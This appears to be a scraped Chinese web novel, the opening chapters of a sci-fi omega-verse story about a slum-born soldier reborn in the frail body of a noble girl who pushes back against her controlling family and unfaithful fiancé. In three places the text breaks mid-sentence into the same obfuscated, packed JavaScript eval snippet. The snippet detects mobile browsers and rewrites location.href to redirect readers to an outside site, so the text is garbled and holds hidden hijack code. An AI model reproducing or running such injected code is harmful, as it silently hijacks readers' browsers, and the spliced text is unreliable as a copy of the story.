《我独自进化成世界第一》 1. 第一章 继续活着,已经没有任何意义了。 ……反正,关于“乔蕴年”这个人可以上升的途径,早就被彻底堵死。 于是,乔蕴年欣然接受了自己人生中的最后一个任务,然后消失在了回旋的宇宙风暴中。 回旋、回旋。 或许生命就是不断回旋的莫比乌斯环。 所以,乔蕴年得以再次睁开眼睛,确认心脏的存在感后,她的第一反应是语带讥诮:什么“死后的世界”,根本不存在嘛。 可是,自己的新心脏未免也太孱弱了。这样的节律,此前乔蕴年只在贫民窟听见过:路边垂死的女人、男人、小孩,奄奄一息,就剩下最后一口气,什么都还没有来得及改变就要彻底失去意识。 太可惜了。太悲惨了。 作为走出贫民窟的例外,面对这样的生命,乔蕴年除了觉得可惜,还有点残忍的庆幸。因为她的手里至少有强健的身体作为筹码,或许还得加上一个“邪恶的头脑”。 ……但如果,从来没有感受到肉|体机能失衡的乔蕴年,如今面对的是这样的情境呢? 瞳孔渐渐适应光线,“天花板”甚至不能被称为天花板,因为它是一片流动的、隐隐能闻到香味的樱粉色花海,仿佛带着说不清的少女心事,偶尔泛起富有科技感的光泽。 乔蕴年努力转动眼珠,寻常木质书柜侧面镀上一层薄如蝉翼的电子屏,正在滚动显示今日的天气,以及去往各个地区的直达航线。圆滚滚的字体和记忆中的文字有所区别,但依靠推断以及文字后示意的符号,乔蕴年能基本猜出含义。 其中,“alpha-1”航线被着重做了记号。 这个电子屏,乔蕴年曾经参与过测试。如今出现在一户普通人家的卧室里,科技树的蓬勃让她本能地感知到不对劲。 乔蕴年想要坐起身,使劲到几乎力竭,却只能抬起一点点手——属于成年人的、看起来十指不沾阳春水的双手,用“娇嫩”形容不为过。 这不是她的身体。 乔蕴年的心一下子沉入万丈深渊,但她依旧尝试让自己起身。时间一点一点经过,不知过了多久,紧闭的门向右收缩,门口出现了一个穿金戴银的贵妇,脸上依稀沾有泪痕。 她几乎要扑到乔蕴年身上,不管不顾地再次大哭一场,“念念,你怎么能这么傻……妈妈不是早告诉过你了吗,对吴少爷睁一只眼闭一只,等到你们结婚,他不可能完全不顾你的……!” 值得庆幸的是,虽然书面文字有所不同,但口语可以说是几乎没区别。 乔蕴年转过一点脸,就着若有若无的栀子香不动声色打量她,嗓音沙哑着缓缓开口:“我怎么了,妈……妈。” 贵妇看起来并不意外,只是心碎,自言自语着为她补全理由:“你太心狠了……太心狠了……明明知道那是禁药还吃,就算侥幸活下来半条命也没有了……我的命怎么这么苦……” “妈妈?”这一声比刚刚顺畅很多。乔蕴年自己都觉得新奇,她已经很久很久没有叫过妈妈。 贵妇回过神,将眼角的泪水拭去,强颜欢笑说道:“忘记了也好。念念,待会儿你爸来,你也要跟他说不记得,知道吗?” 话音刚落,大门再度收缩、舒张,一个看着很斯文的中年男人冲进来,第一时间指着乔蕴年的鼻子怒骂: “你看看你自己,都做了些什么好事!差点惊动军事法庭不说,敢得罪吴家,你有没有把你自己的未来,把这个家的未来放在心上过!” 紧接着,中年男人手腕一扬,淡蓝色的晶体跳出腕带,瞬间在半空延展成纸页大小。乔蕴年微眯起眼睛辨认每个字,得益于身体记忆,她学得非常快——那是军事法庭裁判长的书信。 而下一页,就是“吴氏族家主”的诘问,字里行间冒出一个又一个乔蕴年未曾识得的名词,出现频次最高的是“omega”和“腺体”。 “老乔,那药很毒,你少说点……” 贵妇一边劝,一边对乔蕴年使眼色。 可以信任吗?这个女人。“我不记得了。”事到如今,信或者不信,都不过是尝试而已。 结果,中年男人更加愤怒:“那药怎么不直接吃死你!就是领养的孩子,都比你清楚什么叫感恩!” 他甩开贵夫人恳切的手,看乔蕴年跟看大半个废棋似的,“你如果吃的是□□和其他偏方,找机会跟小吴生米煮成熟饭,早点给吴家生个精神力A以上的alpha,我还敬佩你,毕竟这也就是你这种omega为数不多能做的事……” 乔蕴年垂下眼,微微呼出悠长的一口气。 倘若直视,恐怕就要露陷了。 很久没有人敢这么对她说话,她怕自己顷刻间暴起,直接拧断“父亲”的喉咙。 暂时忍耐一下吧。至少摸清楚这个世界究竟发展到什么地步,不要被当作异类。 “你想死,我告诉你,不可能。”中年男人见她一如既往像条死鱼,除了轻蔑,还有恨铁不成钢——谁叫他手里只有这一张牌了,“消息我已经放出去了,你作为乔家的独女痴恋吴家少爷,所以玩苦肉计这一招。” 贵妇吃惊:“老乔,就非得是吴家?”这个消息放出去,相当于是把乔蕴年彻底栓死在吴峻身上,对一个出自落魄贵族世家、精神力低于C的omega来说是毁灭性的。想再找其他,已成不可能。 作为母亲,她还是想给乔蕴年找个两全其美的配偶,既能有益于丈夫维持家族体面的志向,又可以呵护这个性格温润柔弱的女儿,而吴峻显然不满足后者。现在出这等岔子,可能前者也难实现了。吴家不反过来拿捏乔家、搓磨念念,已属开恩。 “哼!你怎么不问问你的好女儿,怎么前面都好好的,就因为知道小吴有个相好的,就开始寻死觅活?难道还指望一个精神力A+的alpha为一个既没情调、又生不出高精神力后代的omega早早守身吗!” 中年男人看向床上的乔蕴年,指望自己的中肯之言能对她起到些许教导作用,却见女儿半垂着眼,一副虚弱到喘气都难的模样,于是作出循循善诱的慈父姿态,语气和缓不少,大棍落下后是几颗敷衍的甜枣: “念念,你也是傻。你毕竟姓乔,是我乔仲雷唯一的掌上明珠,等你嫁过去,爸爸怎么会容许他吴峻蹬鼻子上脸呢?你且把身体养好,别把我刚才的气话放在心上,我们从长计议。” “好的,爸爸。” 然而,如何从长计议? 至少得先复健到可以下地走路的程度——虽然走两步就会冷汗淋漓,止不住地喘气心慌。但好歹能走路,也知道了这个世界的不少事情。 比如,她其实借助了两百年后同名同姓的另一个“乔蕴年”之躯死而复生;比如,这个世界科技发达,并且被alpha、beta和omega三种性别的住民填满,而她是最为孱弱的omega;比如,乔家祖上有功得以获封爵位,但传到乔仲雷这一代已经非常落魄,仅凭两三颗位置不佳的小行星做点倒卖廉价资源的传统生意维持家计。 关于第三点,乔蕴年不觉得这是日薄西山的迹象。跟前世的贫民窟出身比起来,这已经算是绰绰有余,起点非常高,而且大有奋斗空间。 原本的“乔蕴年”也是这么想的。原身给她这个两百年前的异乡人留下了非常丰富的日记,从世界观到人际关系,里面也包括“乔蕴年”尝试接手父亲资源生意做出的所有努力。 确有重重困难,比如联邦的政策、比如先辈能拥有此等祖产必须接受的限制、比如星系人口迁移等问题……“乔蕴年”真的考察了很多。 最后,败在了她是一个omega上面。 乔家非常传统,只想让乔蕴年乖乖做富家太太;乔蕴年自身条件也不佳,精神力和体质即便在omega里面也算中下等。受不住长途跋涉、受不住未开采星域的潜在辐射危险……其中最重要的是,做资源生意有可能导致绝育。 “乔蕴年”的父亲母亲,没有一个可以容忍没有后代的可能性。 “乔蕴年”自己不是没有尝试过讨好父母安排的联姻对象,做一个刻板印象中的阔太太,温顺而又宽和,“就像妈妈一样”。为此,她在日程安排下强调了“alpha-1”航线,因为这一版星际列车直达吴峻就读的联邦国立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483126|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军事学院。 但是,吴家少爷不仅不喜欢这个类型,而且早有相好,甚至见过吴家的长辈了。所以准确来说,是吴家骗了乔家。 “前脚刚说要来看念念,后脚就找借口爽约,真是欺人太甚!” 彼时,乔仲雷暴怒不堪,大骂吴家都是一群狼心狗肺之辈,看了乔蕴年的检查报告就见不到一点影子了。 不为他的咆哮所动,乔蕴年复健一段路程后靠在辅助机器上休息,微垂着头做深呼吸,感受着机器协助拉伸肌肉的微妙触感。 认知上尚且是空白没关系,有关系的是,她的身体素质甚至离“一个普通的omega”都已经很远很远。 不等她休息太久,乔仲雷的怒火开始往这个不争气的废物女儿身上烧:“叫你吃药!把精神力吃到F,把腺体吃到萎缩,好啊——我告诉你,乔蕴年!只有贫民窟最下贱的伎院才能找到你这种货色!……你让我说!这也是你养出来的好女儿!” “不知道的还以为是我乔仲雷教子无方,教出来一个私生活肮脏、洗标记洗到已经彻底嫁不出去的假的大小姐!” 乔蕴年顾不上嘶吼的父亲,以及哭喊着拉扯父亲的母亲。母亲有一个很好听的名字,叫做祝心莲。心莲心莲,“乔蕴年”愧疚于不能让她像一朵静静盛放的莲花那样安度余年;但乔蕴年作为一个介入者,能够像原身那样轻柔耐心地呼喊“妈妈”已经是尽力表演的结果,真切的同情心实在有限。一时连自己都顾不上的人,连自怜能力都差不多完全丧失的人,实在没有多余的心力考虑别的。 放松着肌肉,乔蕴年在考虑一个问题:原主究竟是怎么弄到禁药的? 禁药的问题,说是大问题,凭乔仲雷的面子可以免除一场军事审判,可见她所吞服的在禁药中属于不算严重的那一类;但要说小,它可是让原主魂归西天,让她接手这一副活着还不如死了的身体,可以说是将乔蕴年这个人完全废了也不为过。 ……好累。 才思考了一会儿,乔蕴年便觉得脑袋陷入浓雾。只是想直起一点上半身,眼前便漫过来一片黑。她定在原地,一动不动好久——十秒?还是二十秒?这片黑压压的云才不舍地散去。 “念念。” “……念念!你就答应你爸爸吧!” 祝心莲近乎嘶吼着恳求她,头发凌乱:“你总是要去办理休学手续的……狄蕾尔就在首都校旁边,你去求求吴峻,说你们好歹订了婚,已经有了情分……” 祝心莲口中的“狄蕾尔”即是狄蕾尔学院,专供勋贵家庭的omega后代学习,是名副其实的新娘学校;至于首都校,则是联邦国立军事学院的别称。两个学校挨得很近,还会定期举办交流活动。“乔蕴年”就曾在日记中写下,不管首都校的学生有多么光彩夺目的未来,她厌恶他们之中有不少alpha将狄蕾尔称作“后花园”。 结果,吴峻是这种alpha,乔仲雷也是。 现在,口口声声说着“不会让吴家那小子翻了天去”的乔仲雷,借着妻子向女儿施压。 他喘着粗气:“你、你得去表个态……” 乔蕴年:“你先放下你的手。” 乔仲雷闻言一愣,顷刻间像是受到某根原始的、名为“趋利避害”的神经影响,竟然真的松开了抓住祝心莲头发的手,触电般。 眼前一晃,女儿还是那副柔柔弱弱的烂泥模样,细声细气:“但我记不太清楚了,妈妈会陪我一起吗。” 祝心莲摸着自己的头发,“当然……妈妈陪你去办手续。但是吴峻那儿……” “谁吃的药,把自己害成这样,连家里人安排的好姻缘都不要,谁就去。” 眼前的年轻女孩微微点头,没有反驳。乔仲雷心中随即反上来一股强烈的厌恶,他倒宁愿她真有点恰到好处的骨气,哪怕是表演出来的,至少对于alpha来说有点博弈的乐趣。 他不耐烦地挥挥手:“早点休息,回去看看办手续那天穿什么衣服、化什么妆,别一副家里死了人的丧门星样子。” 乔蕴年眼眸中闪过鬼魅般的光华。 ……她倒希望真是这样呢。 2. 第二章 穿戴整洁,面容也相同,然而乔蕴年对镜子中的“自己”依旧很陌生。 她从来没有留过长发。在贫民窟出生,从满地爬的光头小婴儿长成会顺手牵羊的乱蓬蓬小少年,再到干练的军校生,乔蕴年就没有让头发长过。即便是在病房里养伤的日子,也不够攒出齐肩的长度。 发尾因为长度微微翘起、增添点时髦气息的波波头,再配一枚在左耳垂上闪闪发光的单边黑曜石耳钉,很长时间都是乔蕴年的标配。 耳钉是生母在乔蕴年七岁时,硬生生给她钉上去的。面对咬紧牙关、忍痛到面目狰狞的小女孩,她嘿嘿一笑,说“以后比这疼的事多了去了,你有的苦要吃”。 真的非常疼。那时的乔蕴年,年纪小、经历浅,对疼痛的感知力很敏锐,所以她毕生没有忘却一切疼痛的开始,以及那个比起做“母亲”、更像“扒手头子”的女人。 现在祝心莲亲自给她梳妆,不假佣人之手,等一切结束后轻扶着她的脸,莞尔:“我们念念天生丽质,就算穿校服,也好看。” 狄蕾尔学院的统一制服非常保守。黑色收腰长裙下摆齐膝,配纯白色衣袖和衣领,伸手触碰的话可以摸到百合状暗纹。同样是纯白颜色的小腿袜柔软地贴在腿肚上,和略带一点跟的黑皮鞋一同强调微微的轻盈感。用祝心莲的话说,“这个年龄的omega处在适婚期,也不能太老气”。但是总体上说,端庄传统到像是教会学校推出的服饰。 “对了,还有腰带!我怎么能忘记这个。你的腰这么细,得把曲线凸显出来,不然太浪费了。” 当祝心莲用一根雪色发带巧妙地将乔蕴年一头如瀑长发串成端方优雅的盘发,乔蕴年便觉得自己像是一个被精心包扎的礼物;现在这种感觉更为强烈,尤其是在腰带的金属扣紧贴腰腹、要往下陷的那一刻,冰冷无机质的触感好像隔着薄薄的皮肉和肋骨相吸。 “够了,妈妈。” “……我说够了!” “啪”的一声,沉浸在愉悦中的祝心莲如梦初醒。 她所认为的乖顺布娃娃,此刻维持着挥掌的动作站在她的面前,身上有着祝心莲从未窥见的气质。 盛气凌人……? 不不不,念念怎么可能是盛气凌人的呢。 于是,乔蕴年红得宛如被沸水滚过的掌心,还有她那因为大喘气一起一伏、好像小山在啜泣的身躯映入祝心莲眼帘。 终于反应过来,祝心莲急忙握住乔蕴年的肩膀:“对不起,念念,我是不是弄疼你了?我给你吹吹,马上就不疼,马上就不疼了……” ——这个“母亲”,在意的似乎只是细枝末节的痛,却对她身上最为深重的痛苦视而不见。 乔蕴年呼出一口气:“……小念。” 无性别的机器人快乐地回答她:“小主人,我在!”应答乔蕴年的同时,它就这样出现在乔蕴年身侧,变形为一个支架,让她靠着自己。 乔蕴年靠着它,抚摸口袋里的条状金属——是一支“乔蕴年”时常带在身边的钢笔。它很有用,乔蕴年一个人待着的时候试过了。 现在还不是用它的时候。乔蕴年把钢笔推了回去。 而祝心莲像是做错了什么的孩子,看着乔蕴年宁愿在细微颤抖中挪到机器人上面,搭着一个死物喘粗气,也不要她这个母亲来搭把手。 她再次判断错误,因为乔蕴年是在叹气。 连“小念”这个名字都是祝心莲激活辅助康复机器人的时候取的。 她对自己的所有物没有掌控权,她的反抗既没有力量、也没有威慑力。 “我们休息一会儿再走。……来得及吧?” “来得及。肯定来得及。” 祝心莲仓促收回想要掺扶住她的手,有点心慌。乔蕴年是这副弱不禁风的纤细模样已然不是一天两天,她慌的是女儿不再依赖自己,回应她的关心。 不可以。念念不能脱离她的“荫蔽”。 于是,祝心莲开始检查起来。被命名为“智脑”有没有戴好,材料有没有录入完整,每一个小时就要服用一粒的药有没有带,还有最最重要的——特殊的抑制剂。 乔蕴年看她为琐碎的小事忙前忙后,眼底依稀染上戏谑意味。 她算是摸清楚了,在祝心莲看来这就是关心的全部内容,似乎作为母亲已经仁至义尽,剩下的就是无尽的、空洞的索求。 在日记中,“乔蕴年”迷茫地写下:我知道爸爸并不爱我,有妈妈爱我就好,但我为什么还会这么绝望呢?可见,原身之所以选择服下“不能成功提升精神力和AO匹配度就只能去死”的禁药,里面也有这位母亲的因素。 只是,爱和不爱,从来不是乔蕴年会考虑的话题。她只是蛰伏于此,等待一个契机。至于这个契机是什么,乔蕴年直觉还需要时间。 她依旧能微笑回答,将手轻轻搭在祝心莲的手腕上,有意展示的亲密之下有股不易察觉的压迫感:“小念都已经确认过了,这些小事不用您费心。” “我也休息好了,妈妈。快走吧,早点……完成你们交给我的任务。” 早点跟那所类似高级新娘学校的地方做个彻底的了结。 终于坐上了所谓的“alpha-1”航线,乔蕴年在上车前不易察觉地扫视浮悬车车身,发现它的设计承袭自两百年前的一款技术非常前沿的军用列车。如今作为民用航班,依据乘客身份背景分成三六九等,祝心莲则理所当然将她带到贵宾座。 开门后,呈现在乔蕴年眼前的俨然是个五脏俱全的休息室。桌面隐约泛起荧蓝色、显现出图标的茶几,可以自动按摩、随时延展为大床的沙发,时令鲜花娇艳欲滴。除此以外,还有专人端茶倒水,殷勤地照顾二人的饮食。 对待服务者,祝心莲的态度很是客气:“你先走吧,辛苦你了。” 等服务人员走后,乔蕴年眼见祝心莲的表情一瞬间变成不耐烦,而那其中同样夹杂着深重的疲倦。 注意到年轻女孩的视线,尽管那似乎并不意味着让她觉得习以为常的关切,但是祝心莲仿佛一下子找到了出口,开口抱怨道:“都怪你爸,本来我们有自己的私人航班,结果你爸为了节省开支,只留下了去那几个垃圾场的私人航班。连点私人空间都没有,还要跟外人交流。” 乔蕴年不痛不痒地安慰她:“妈妈,我们住得很近,二十分钟就能到。” “唉,真是一天不如一天。”祝心莲并没有正面就路程短这个点继续向下延伸,而是自顾自地勉励起乔蕴年,“我看,吴峻未必对你没有一点意思,alpha跟omega之间不就那回事。你稍微主动一点,让他感受到趣味,他肯定会被你抓得牢牢的。” 乔蕴年笑了笑,不置可否。 她选择微微偏过头,欣赏起漫天的星辰。 好歹也是开过不少次飞行器的人,但这次实在不一样。整个航班行进的轨迹穿梭在碎星流动时织就的帘幕中,如此融洽、无害,简直到了缠绵的程度。相对速度让一切变成了电影里面的慢动作,而乔蕴年昨晚睡前试图探索这一体裁,发现电影已经死了,取而代之的无限趋近于现实的虚拟游戏世界。 这不妨碍乔蕴年觉得浪漫。 当然,最浪漫的还是穿梭在这样的光景中蹂躏敌人,最后看着一点爆炸的火光狂笑。乔蕴年想对卖给“乔蕴年”禁药的可疑之人,还有那个吴什么这么做。 只是这副不断颤栗下沉示弱的躯体总在提醒她,她做不了。至少目前,希望渺茫。 睫毛笼下阴影,等到出现下车提示再若无其事般扬起。因为乔蕴年知道,能获得第二次生命,已经是她赚了。 不管赚的多还是少,愿不愿意接受这种交换,她都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483127|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踩在原来那个“乔蕴年”的身上再活一次。没有什么不平衡的,死去的小孩已经没机会觉得不平衡,何况这还远远不是最糟糕的情况。 就这样,乔蕴年温顺地退到祝心莲身边,对她俏皮地眨眼卖乖:“说好妈妈带路。” 祝心莲一下子心软成水,这才是她的好女儿嘛。“没有妈妈带你,你出事后一个人出远门,该多害怕啊。” 比起害怕,乔蕴年感受到的更多是有趣。 狄蕾尔学院外形看上去像座古堡,长廊则凭角度精妙的瑰丽花窗取来天际阳光,走在里面有种暖洋洋的神圣感。 金字塔顶端的omega们,在学校受教育的时间甚至被严格限制接触科技的时间,所以校内几乎看不到电子的光泽,一切都是那么的古朴和精致。 上课时间,除了貌合神离的母女两个,并没有第三个人。辅助机器人已然被祝心莲收回,所以整段路,乔蕴年得自己走。 去往校长办公室也要登上高高的螺旋阶梯,每一级阶梯都对应“omega应当具有的一百种美德”中的一个。 “理应克制。 理应宽容。 理应奉献。……” 全是屁话。乔蕴年在心里无所谓地嗤笑,与此同时发现同样出身于狄蕾尔学院的祝心莲,整个人开始变的无比虔诚。因为投入,她甚至一度遗忘旁边还有个爬两三级就要趴在扶手上喘气的乔蕴年。 “妈妈。” “哦,嗯。……天哪念念!” 乔蕴年是被祝心莲拖到顶的,即便贵妇人因此热汗淋漓,失了部分体面,但她依旧死心眼地将辅助机器人藏着掖着不使用,直到两人终于站在校长室门口。 “请进。” 校长是位看起来很慈祥的老妇人,但乔蕴年花了三秒不到的时间就能判断出对方不是个性格宽和的善茬,甚至有可能是个隐形虐待狂。 祝心莲口呼“科斯特女士”,简单寒暄过作为往届生的从前事后便进入正题。 狄蕾尔·科斯特面露惋惜:“小乔同学是个好苗子,身体真的差到连上学都不行了吗?那真是可惜了。” 话虽如此,她在乔蕴年的退学申请上签字的时候,动作里隐约有点迫不及待。 风言风语中,乔蕴年已经是狄蕾尔学院的污点。况且事情的真相更加不堪,乔蕴年去年就已经成年,真计较起来是会连累一家人前往流放之地做苦役有去无回的。 但乔蕴年全程冷眼旁观,要她签字的部分已经完成好了,用不到她。 解决完退学手续,校长室的门再度关上。祝心莲还想故技重施,然而乔蕴年一挥手叫出辅助机器人:“小念,带我下去。” “好的,主人。” 有的苦,确认自己现阶段无论如何都捱不过去,就没必要吃第二次。 等乔蕴年施施然从小念身上下来,回过头发现祝心莲还在原处,眼睁睁看着她干脆坐着小念一下子飘下去,等站定后再转过身,整个人都傻了——说好的母女相互扶持,一起吃苦呢? 一瞬间,白色的发带从颤抖的蝴蝶翅膀变成消化不了的垃圾,黑色的裙摆从黑百合变成加工厂低效率处理好资源后吐露的尾气——好女儿变的不可爱了。 但是乔蕴年才不干呢,她还要保存体力,去试探所谓的未婚夫究竟是什么样的货色。什么吴家少爷,乔蕴年根本没有放在眼里,但对方极有可能参与进禁药售卖的输送链条中,直接导致“乔蕴年”的死亡和她的孱弱不堪,所以她必须去。 她微微低下头,眼睛却看着高处的母亲——其实对乔蕴年这个人,根本说不上有多在乎的祝女士,双唇凑近智脑,上下碰触:“妈妈,我先去找他了。现在我已经不是狄蕾尔的学生了,你忍心看着我疲惫到必须爬到隔壁学校吗?” “拜拜,等会儿狄蕾尔门口见。” 3. 第三章 如果要用一个词形容狄蕾尔学院,那就是“岁月静好”。 乔蕴年不着急立马去找吴峻,她想看看原身在日记本里写到的“茵园”是什么样的。 “乔蕴年”没有特别亲近的朋友,她的精神力在同学之间并不属于秘密。乔家也已衰落,作为唯一的女儿以后大概率只能匹配到同样是没落贵族出身、精神力低弱的alpha,再加上性格缺少趣味,没有密友实属正常。无论哪个世界,依附于他人生活总归是要更现实一些。 正因如此,“乔蕴年”最喜欢一个人在平时上园艺课的茵园待着。 要想去往狄蕾尔和首都校之间专门架设起的长廊,必须得路过茵园。摘下自己亲手种下的、象征爱情的花朵赠予alpha,对在这里生活学习、“待字闺中”的omega来说是一种趁手又不乏心意的讨好方式。 乔蕴年当然没有顺手摘下原主精心培育的花卉的打算。她站在巨大的花园以外,诗意的赤粉紫蓝和浓郁的芬芳香气实非她所爱,只是远远地看着。 比起欣赏,乔蕴年的视线更像是在注视一座巨大的墓园。原主想要在死后栖居于此,但她此刻考虑的是,这些花应该插在仇人的尸体上,才能绽放出如此娇艳的光辉。 聚集的声音近了,一条条长裙、一件件齐膝短裤渐渐出现在眼前。 噢——她差点忘记了。乔蕴年的目光饶有兴致地循着短裤边儿向上,随后映入瞳孔的是一张圆钝懵懂的、年轻男孩的脸,微微泛出羞恼的红色。 “你……乔蕴年,你耍流氓!” 明明只是个精神力不高的omega,怎么能用alpha看人的眼神,这样冒昧露骨地看自己! “你认识我吗。”乔蕴年的笑容染上戏谑,“我怎么不太记得你。” 男孩没好气道:“这里谁不认识你!都知道你撞了大运,得了吴少青眼,抢先定下婚约。要我说,你哪里配得上。” 倒是十分的坦诚。乔蕴年见过傲慢的、跋扈的、愚蠢的男人,就是没见过被驯养得娇俏幼态的男人——原来这就是男omega。 如果前世和她竞争的男人都是这种完全扶不上墙的菟丝花,她将轻轻松松笑纳一切。 但可惜,一切都是错位的,她被太多场外的因素干扰,从来没有刚刚好的时候。 乔蕴年微眯起眼睛,离开前随口开起对方的玩笑:“是是是,小少爷。你当然行。” 男孩昂起头:“跟学姐你相比,我肯定行。” 只是,这位乔蕴年学姐似乎跟她想象中的不太一样。男孩悄悄垂下眼眸,视线触及到她唇角的笑意时,不知为何像是被烫了一下;心里多少有点不服气,男孩心里面想着“不过就是个靠家里人死缠烂打的低精神力omega而已”,结果视线上移看到这张脸上的眼睛,心脏的节律干脆狂乱了起来…… 回过神的时候,乔蕴年已经不在眼前。 真没礼貌!男孩想要跺脚,但课程不等人,只得赶紧核对过身份,匆匆往上课的地方赶。 只是,除此以外,他还感觉到一点说不清、道不明的失落。 这种感觉就像脖颈上的咬痕浅浅不再疼痛、alpha留下的临时标记逐渐地失去了安抚作用。 ——为什么他会不自觉地被吸引呢? 二十分钟以后,长廊外。 如今的乔蕴年已经可以灵活使用智脑,淡蓝色晶体飞出去,长廊的门应声开启,与此同时智脑发出“正在为您规划最佳路线”的声响。 首都校有极少量的omega,控制在十到十五个之间,精神力没有一个下于A,就读的学系基本是beta占比大于百分之九十的机械设计,是平权法案的产物。 为了这十几个被视作另一种模范的omega,校内也修有特殊通道。从狄蕾尔学院前来探望的omega,也算是借了这些“先进omega”的方便。 这里的学生制服近乎乔蕴年前世几乎从不离身的军装,其中还融入了日常西装的元素。整体是沉稳间不乏锋利感的墨蓝色,浓重接近夜幕,肩章处有暗星闪烁似锋芒,胸口的系章则采取刺绣工艺,是唯一彰显出内敛和优雅的地方, 乔蕴年身着教会式长裙漫步其中,裙摆随双腿波动时有如柔软的水流,再加上精心画好的妆面、托起的盘发,各种意义上的出挑。 一路都有首都校的学生看过来,眼神是说不清善意还是恶意的灰色状态,其中夹杂揶揄和打量,还有自上而下的审视。 他们看过来,乔蕴年便看回去,眼神同样是自下而上,甚至还要更越界一点。毕竟,如果这样看人是一种礼貌,那么她只是比这些人更讲礼貌一点。 在路上看过多于五个人,乔蕴年发现一个很有趣的事实。这条仅有beta和omega能走的专用通道中,她依旧轻而易举地判断出谁是omega。首先,他们的制服要更修身、更能衬托出身体曲线,为了美观可以牺牲一部分舒适度;其次,他们对乔蕴年看过去的反应是最激烈的。 甚至有一个omega直接走到乔蕴年面前,伸手挡住她的去路,目光不善到可以让她笃定“这个人很恨自己”。 是个比起儒雅,用“纤细”“敏感”之类的词语来形容更恰切的青年,紧蹙着眉,碧绿色瞳孔微微内缩,好像不对乔蕴年恶语相向已经花光他的所有力气:“乔蕴年,你跑空了。吴峻现在没空。” 看来不止是知情人,可能是亲友团的定位。吴峻?还是吴峻相好的?乔蕴年没太猜,而是微微歪过头,故作天真:“我最近生了病,很多记忆都模糊了。所以,你认识我吗?难道你就是吴峻在首都校的……呃,‘第二春’?” 路过的beta“噗嗤”笑出声:“这词还能这么用啊,真是长见识了。” 吴峻在首都校的风流韵事不算秘密,道德层面可谓是一塌糊涂。偏偏家世优越,父亲近几年在政坛混出头,弥补了空有钱财、却无社会地位的尴尬点;而且自身也争气,精神力A+的先天条件已经相当出色、惹人艳羡,同时能在其所在的综合战斗系四年级排得上前十,这点私德问题放在校方眼里便不算大事了。 青年瞬间涨红脸:“你——” “你身上有股草味。这么形容你,难道是我错了吗?” 乔蕴年不紧不慢打断眼前人,谁叫他不由分说一下子挨这么近,一股青草香呛人得很,真是碍到她了。 乔蕴年平生最讨厌“多余”的气味。这里到处都是也就算了,毕竟身为军人,发现弱点就要及时解决,为此乔蕴年的生活充斥着高强度的气味干扰训练,不得不适应,但这个尤其可厌。 语气里的威压感不自觉加强,青年第一次在乔蕴年身上感受到什么叫咄咄逼人:“回答我的问题,吴峻相好。是就是,不是就是不是。” 他喉咙一梗,露怯是下意识的无奈之举:“我不是吴峻相好……” “不是就行。”乔蕴年道,“退后一点,好吗。我不喜欢你的味道。” “为什么”——差点脱口而出的三个字又是出自下意识,连青年自己都搞不明白,为什么他会觉得乔蕴年的喜恶很重要,好像被她厌恶就等同于被权威厌恶,于是精神躁动起来,下意识就要追问。这太荒谬了。 没能开口,一是理智和尊严感拉扯,“怎么能向乔蕴年那个无能的贱人屈膝”,二是另有一人闪出人群,横亘在他们之间打哈哈。 “安德,等会儿还要上维修课呢。路老师那么严格,你看看还有谁在这里闲逛?赶紧去工作室检查作业吧,上次课前就有同学发现自己修好的机械被人破坏了,少一次成绩呢。” 是个扎单边马尾的女孩,因为背对着,乔蕴年更能闻到她身上的薄荷味。 女孩人缘应当不错,最重要的是她给其他同学的印象是中立老好人,所以很快劝动了安德。 待长廊上只剩她们两人,女孩转过身,用熟稔的、好像两个人是朋友的口吻对乔蕴年道:“好险好险,他应该没来得及对你做过分的事情吧?这个安德根本不觉得自己是在助纣为虐啊……” 如果真的是朋友,日记里不可能一个字没有提及。乔蕴年不着痕迹将她看了个遍,维持着笑容:“我们之前认识吗?我失去了很多记忆,不知道什么时候能恢复。” 女孩一愣,立马肃穆神情,以委婉的谨慎和探查面对她:“我是穆双昙,我们以前——等你想起来再说吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483128|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她随即向乔蕴年告别,朝另一个方向小跑。 是露馅了吗?乔蕴年站在原地,修长而孱弱的躯体遮蔽阳光,投下一道悠长的黑色影子,正如她眼里化不开的墨。 然后背道而驰,蓝色晶体在前方引导,荡开的弧度仿佛不知烦恼。 最终,它在一扇门前钻回乔蕴年的手腕。 这里不是上课的教室。“器材室”在电子屏上写得很清晰,还可以点击旁边的图标查看借出情况。 乔蕴年倒觉得,这是个很适合偷情的地方。 该怎么进去呢?她还没拥有过捉奸在床的经历。这种趣味从来属于肥皂剧,执行任务之余室友喜欢以此打发时间。乔蕴年没想到自己有一天会是故事中人,手放在密码锁上。 第一次,失败。 第二次,同样是失败。 